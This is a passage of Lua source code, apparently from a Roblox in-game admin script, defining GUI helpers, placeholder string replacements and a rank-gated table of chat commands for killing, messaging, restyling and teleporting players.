5133 if #Seconds == 1 then Seconds = "0"..Seconds end
5134 if #Minutes == 1 then Minutes = "0"..Minutes end
5135 Time.Text = Minutes..":"..Seconds
5136 wait(1)
5137 if CurrentSeconds <= 0 then
5138 Alarm:Play()
5139 Time.Text = "00:00"
5140 Part.Size = UDim2.new(1,0,1,0)
5141 Restore:Invoke()
5142 wait(4)
5143 Close:Invoke()
5144 break
5145 else
5146 Tick:Play()
5147 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
5148 CurrentSeconds = CurrentSeconds - 1
5149 end
5150 end end)()
5151
5152 Closed.Event:connect(function()
5153 if Alive == true then
5154 Alive = false
5155 Tick:Stop()
5156 Alarm:Stop()
5157 end
5158 end)
5159end)() end
5160
5161function GUI:DetachChat(Player)
5162 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5163 if Player:FindFirstChild("DetachChatMML") then
5164 Player.DetachChatMML:Invoke(true)
5165 wait()
5166 Player.DetachChatMML:Destroy()
5167 end
5168
5169 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
5170 local SG = Frame.Parent.Parent.Parent
5171
5172 local DCBF = Instance.new("BindableFunction", Player)
5173 DCBF.Name = "DetachChatMML"
5174 DCBF.OnInvoke = function(Remove)
5175 if Remove then
5176 SG:Destroy()
5177 end
5178 end
5179 CORE:ExecuteResource("CoreChat", SG)
5180
5181 local IsClosed = false
5182 Closed.Event:connect(function()
5183 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5184 IsClosed = true
5185 end)
5186
5187 coroutine.wrap(function()
5188 Player.CharacterRemoving:wait()
5189 if not IsClosed then
5190 IsClosed = true
5191 wait(1)
5192 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5193 end
5194 end)()
5195end
5196
5197function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
5198 if not Player then return nil end
5199 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
5200 Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
5201
5202 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
5203end)() end
5204
5205function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
5206 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5207 if not SoundID then SoundID = SoundInfo["ID"] end
5208 if not TitleText then TitleText = SoundInfo["Name"] end
5209 if not CreatorText then CreatorText = SoundInfo["Creator"] end
5210 if not InputSound then InputSound = Sound end
5211
5212 local NumSounds = 0
5213 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
5214 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
5215 NumSounds = NumSounds + 1
5216 end
5217 end
5218
5219 local Size = UDim2.new(0.1, 100, 0.1, 100)
5220 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
5221 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
5222
5223 local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
5224 local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
5225 local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
5226 local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
5227 local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
5228 local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
5229 local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
5230
5231 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
5232 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
5233 if Sound then
5234 CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
5235 end
5236 if Time then
5237 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
5238 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
5239
5240 coroutine.wrap(function()
5241 local Alive = true
5242
5243 local function StopTimer() Alive = false end
5244 Closed.Event:connect(StopTimer)
5245 Minimized.Event:connect(StopTimer)
5246 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5247
5248 for i = Time,0,-1 do
5249 for ii = 1,10 do
5250 if Alive == true then
5251 Timer.Text = i
5252 wait(0.1)
5253 else
5254 break
5255 end
5256 end
5257 end
5258 if Alive == true then
5259 Close:Invoke()
5260 else
5261 Timer:Destroy()
5262 Stop:Destroy()
5263 end
5264 end)()
5265 end
5266end
5267
5268---- STRING REPLACEMENT OPERATIONS ----
5269
5270-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5271
5272-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5273
5274StringReplacements = {
5275 {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
5276 {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5277 {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5278 {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5279 {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5280 {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5281 {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5282 {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5283 {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5284 {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5285
5286 {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
5287 {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
5288 {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
5289 {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
5290 {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
5291 {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
5292
5293 {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5294 {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5295 {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5296 {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
5297 {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5298 {"_NAME", "player's username", true, function(Player) return Player.Name end};
5299 {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5300 {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5301 {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5302 {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
5303 {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
5304 {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
5305 {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
5306 {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5307 {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5308 {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
5309}
5310
5311---- COMMANDS ----
5312
5313-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5314
5315Commands = { -- can't make local
5316 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5317 print("[MML's Admin]: Test message from "..Speaker.Name)
5318 GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
5319 end};
5320
5321 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5322 local Players = STRING:Scan(Arguments[1], Speaker)
5323 for _,Player in pairs(Players) do
5324 if Player.Character then
5325 Player.Character:BreakJoints()
5326 end
5327 end
5328 end};
5329
5330 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5331 local Players = STRING:Scan(Arguments[1], Speaker)
5332 for _,Player in pairs(Players) do
5333 if Player.Character then
5334 Instance.new("ForceField", Player.Character)
5335 end
5336 end
5337 end};
5338
5339 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5340 local Players = STRING:Scan(Arguments[1], Speaker)
5341 for _,Player in pairs(Players) do
5342 if Player.Character then
5343 for _,Get in pairs(Player.Character:GetChildren()) do
5344 if Get:IsA("ForceField") then
5345 Get:Destroy()
5346 end
5347 end
5348 end
5349 end
5350 end};
5351
5352 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5353 for _,Player in pairs(Server.Players:GetPlayers()) do
5354 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
5355 end
5356 end};
5357
5358 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5359 for _,Player in pairs(Server.Players:GetPlayers()) do
5360 GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
5361 end
5362 end};
5363
5364 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5365 local Players = STRING:Scan(Arguments[1], Speaker)
5366 for _,Player in pairs(Players) do
5367 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
5368 end
5369 end};
5370
5371 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5372 for _,Player in pairs(Server.Players:GetPlayers()) do
5373 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
5374 end
5375 end};
5376
5377 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5378 local Players = STRING:Scan(Arguments[1], Speaker)
5379 for _,Player in pairs(Players) do
5380 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
5381 end
5382 end};
5383
5384 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5385 local Players = STRING:Scan(Arguments[1], Speaker)
5386 local AgeList = {}
5387 for _,Player in pairs(Players) do
5388 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5389 end
5390 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5391 end};
5392
5393 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5394 local Players = STRING:Scan(Arguments[1], Speaker)
5395 local AgeList = {}
5396 for _,Player in pairs(Players) do
5397 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5398 end
5399 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5400 for _,Player in pairs(SecondPlayers) do
5401 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5402 end
5403 end};
5404
5405 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5406 local Storage = {{}, {}, {}, {}}
5407 local StorageText = {}
5408 local Formatted = {}
5409 for CommandNames,Data in pairs(Commands) do
5410 if not Data.Hidden then
5411 local RankNeeded = RANK:ConvertRank(Data[4])
5412 local Add = ""
5413 if Data[4] == "Non-Admin" then Add = "BLACK " end
5414 if Data[4] == "Admin" then Add = "CYAN " end
5415 if Data[4] == "Member" then Add = "BLUE " end
5416 if Data[4] == "Owner" then Add = "BROWN " end
5417 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5418 local AddBet = Settings.Bet
5419 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5420 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5421 table.insert(Storage[RankNeeded + 1], Add..Text)
5422 StorageText[Text] = CommandNames
5423 end
5424 end
5425 for Num,_ in pairs(Storage) do
5426 table.sort(Storage[Num])
5427 end
5428 for _,Table in pairs(Storage) do
5429 for _,Command in pairs(Table) do
5430 table.insert(Formatted, Command)
5431 end
5432 end
5433 local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5434 Clicked.Event:connect(function(Text)
5435 GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
5436 end)
5437 end};
5438
5439 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5440 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5441 end};
5442
5443 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5444 if GUI:GetColor(Arguments[1]) then
5445 local ColorScheme = string.upper(Arguments[1])
5446 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5447 Settings.ColorScheme = ColorScheme
5448 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5449 else
5450 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5451 end
5452 end};
5453
5454 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5455 local List = {}
5456 for Color,_ in pairs(Colors) do
5457 table.insert(List, Color.." "..Color)
5458 end
5459 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5460 end};
5461
5462 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5463 local Transparency = tonumber(Arguments[1])
5464 if Transparency then
5465 if Transparency > 90 then Transparency = 90 end
5466 if Transparency < 10 then Transparency = 10 end
5467 Settings.TransparencyScheme = Transparency/100
5468
5469 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5470 else
5471 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5472 end
5473 end};
5474
5475 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5476 if Fonts[Arguments[1]] then
5477 Settings.Font = Arguments[1]
5478 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5479 end
5480 end};
5481
5482 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5483 Settings.Fun = not Settings.Fun
5484 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5485 end};
5486
5487 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5488 Settings.DisableAbuse = not Settings.DisableAbuse
5489 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5490 end};
5491
5492 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5493 local List = {}
5494 for Font,_ in pairs(Fonts) do
5495 if Font == Settings.Font then
5496 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5497 else
5498 table.insert(List, Font.." "..Font)
5499 end
5500 end
5501 GUI:ListGui(Speaker, "Font list", List, 44453197)
5502 end};
5503
5504 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5505 local SoundID = tonumber(Arguments[1])
5506 if SoundID then
5507 Settings.ExecuteNotificationSound = SoundID
5508
5509 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5510 else
5511 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5512 end
5513 end};
5514
5515 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5516 Settings.ExecuteNotificationSound = 0
5517 end};
5518
5519 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5520 local Players = STRING:Scan(Arguments[1], Speaker)
5521 for _,Player in pairs(Players) do
5522 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5523 end
5524 end};
5525
5526 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5527 local Players = STRING:Scan(Arguments[1], Speaker)
5528 for _,Player in pairs(Players) do
5529 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5530 end
5531 end};
5532
5533 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5534 local Players = STRING:Scan(Arguments[1], Speaker)
5535 for _,Player in pairs(Players) do
5536 coroutine.wrap(function()
5537 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5538 wait(1)
5539 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5540 end)()
5541 end
5542 end, Hidden = true};
5543
5544 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5545 local Players = STRING:Scan(Arguments[1], Speaker)
5546 for _,Player in pairs(Players) do
5547 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5548 end
5549 end};
5550
5551 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5552 local Players = STRING:Scan(Arguments[1], Speaker)
5553 for _,Player in pairs(Players) do
5554 CORE:ChangeName(Player, Arguments[2])
5555 end
5556 end};
5557
5558 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5559 local Players = STRING:Scan(Arguments[1], Speaker)
5560 for _,Player in pairs(Players) do
5561 if Player.Character then
5562 local Head = Player.Character:FindFirstChild("Label")
5563 if Head then Head:Destroy() end
5564 local Head = Player.Character:FindFirstChild("Head")
5565 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5566 end
5567 end
5568 end};
5569
5570 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5571 local Players = STRING:Scan(Arguments[1], Speaker)
5572 for _,Player in pairs(Players) do
5573 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5574 end
5575 end};
5576
5577 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5578 local Players = STRING:Scan(Arguments[1], Speaker)
5579 for _,Player in pairs(Players) do
5580 local _,RankNum = RANK:GetRank(Player)
5581 if RankNum <= RANK:ConvertRank(Rank) then
5582 Server.TS:Teleport(Arguments[2], Player)
5583 end
5584 end
5585 end};
5586
5587 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5588 local Players = STRING:Scan(Arguments[1], Speaker)
5589 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5590 if Suc then
5591 for _,Player in pairs(Players) do
5592 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5593 end
5594 else
5595 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5596 end
5597 end};
5598
5599 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5600 local Players = STRING:Scan(Arguments[1], Speaker)
5601 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5602 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5603 if Suc then
5604 for _,Player in pairs(Players) do
5605 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5606 end
5607 else
5608 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5609 end
5610 end)
5611 end};
5612
5613 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5614 local Players = STRING:Scan(Arguments[1], Speaker)
5615 for _,Player in pairs(Players) do
5616 local _,RankNum = RANK:GetRank(Player)
5617 if RankNum < RANK:ConvertRank(Rank) then
5618 Server.TS:Teleport(155307015, Player)
5619 end
5620 end
5621 end};
5622
5623 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5624 local Players = STRING:Scan(Arguments[1], Speaker)
5625 for _,Player in pairs(Players) do
5626 local _,RankNum = RANK:GetRank(Player)
5627 if RankNum < RANK:ConvertRank(Rank) then
5628 Server.TS:Teleport(347911447, Player)
5629 end
5630 end
5631 end};
5632
5633 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5634 local Players = STRING:Scan(Arguments[1], Speaker)
5635 for _,Player in pairs(Players) do
5636 CORE:GenerateShield(Player)
5637 end
5638 end};
5639
5640 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5641 local Players = STRING:Scan(Arguments[1], Speaker)
5642 for _,Player in pairs(Players) do
5643 if Player.Character then
5644 local Shield = Player.Character:FindFirstChild("Shield")
5645 if Shield then Shield:Destroy() end
5646 end
5647 end
5648 end};
5649
5650 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5651 local Num = tonumber(Arguments[1])
5652 if Num and Num ~= 0 then
5653 local Random = math.random(1,math.abs(Num))
5654 if Random == math.random(1,math.abs(Num)) then
5655 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5656 else
5657 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5658 end
5659 else
5660 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5661 end
5662 end};
5663
5664 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5665 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5666 IRC:AddChat(Speaker.Name, Arguments[1])
5667 end};
5668
5669 --[[
5670 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5671 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5672 if Res then
5673 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5674 end
5675 end, Http = true};
5676
5677 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5678 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5679 if Res then
5680 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5681 end
5682 end}, Http = true;
5683 ]]
5684
5685 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5686 IRC:Quit("Reconnecting")
5687 IRC:ConnectToServer(Settings.IRCServer)
5688 end};
5689
5690 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5691 local Players = STRING:Scan(Arguments[1], Speaker)
5692 for _,Player in pairs(Players) do
5693 local PreAdd = {}
5694 for _,Data in pairs(IRC.Chats) do
5695 local Error = nil
5696 if Rank == "Owner" then Error = Data[3] end
5697 table.insert(PreAdd, {Data[1], Data[2], Error})
5698 end
5699 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5700 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5701 if Rank ~= "Owner" then Error = nil end
